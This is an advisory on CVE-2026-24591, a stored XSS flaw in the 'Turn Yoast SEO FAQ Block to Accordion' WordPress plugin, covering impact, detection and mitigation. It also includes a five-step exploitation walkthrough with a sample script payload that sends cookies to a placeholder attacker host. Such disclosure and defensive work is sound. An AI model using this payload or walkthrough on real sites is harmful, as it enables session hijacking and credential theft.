CVE-2026-24591: 
WordPress vulnerability analysis and mitigation

CVE-2026-24591 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Turn Yoast SEO FAQ Block to Accordion" (slug: faq-schema-block-to-accordion) developed by yasir129. The vulnerability affects all versions of the plugin through 1.0.6 and was disclosed on January 23, 2026, with the CVE received from Patchstack. It carries a CVSS v3.1 base score of 6.5 (Medium), assigned by Patchstack (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An authenticated attacker with low privileges can inject malicious scripts into fields processed by the plugin's FAQ block-to-accordion conversion functionality; these scripts are then stored server-side and executed in the browsers of other users who view the affected content. The attack vector is network-based, requires low privileges and user interaction (a victim must view the page containing the injected payload), and has a changed scope, meaning the impact can extend beyond the vulnerable component itself (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim (including administrative actions if an admin views the malicious content), and potential defacement or further malware distribution. The changed scope means impact can extend to users and systems beyond the plugin itself (Patchstack).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2026-24591. The EPSS score is extremely low at 0.0001 (0.01%), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least contributor-level access to the WordPress site (Patchstack).

1. Gain low-privilege access: Obtain or register an account on the target WordPress site with at least contributor or author-level permissions.
2. Locate the vulnerable plugin: Confirm the "Turn Yoast SEO FAQ Block to Accordion" plugin (version ≤ 1.0.6) is active on the site.
3. Inject malicious payload: Create or edit a post/page that uses the Yoast SEO FAQ block. Insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into an unsanitized input field within the FAQ block (such as a question or answer field).
4. Publish the content: Save and publish the post/page, causing the malicious script to be stored in the WordPress database.
5. Trigger victim execution: Wait for a privileged user (e.g., an administrator) to view the affected page. The stored script executes in their browser, enabling session hijacking, cookie theft, or other malicious actions (Patchstack).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing script tags or encoded JavaScript payloads in FAQ block content fields.
• Database: WordPress wp_posts or wp_postmeta tables containing entries with <script>, javascript:, onerror=, or other XSS-indicative strings within FAQ block content.
• Network: Outbound requests from victim browsers to unexpected external domains shortly after viewing pages containing the FAQ accordion block (indicative of data exfiltration).
• File System: Unexpected modifications to plugin files in wp-content/plugins/faq-schema-block-to-accordion/ if an attacker escalated access post-exploitation.

WordPress site administrators should update the "Turn Yoast SEO FAQ Block to Accordion" plugin to a version beyond 1.0.6 if a patched release is available, or deactivate and remove the plugin until a fix is confirmed. As a general workaround, restrict content creation permissions to trusted users only, minimizing the risk of low-privilege exploitation. Web application firewalls (WAFs) with XSS filtering rules can provide an additional layer of defense while awaiting a patch (Patchstack).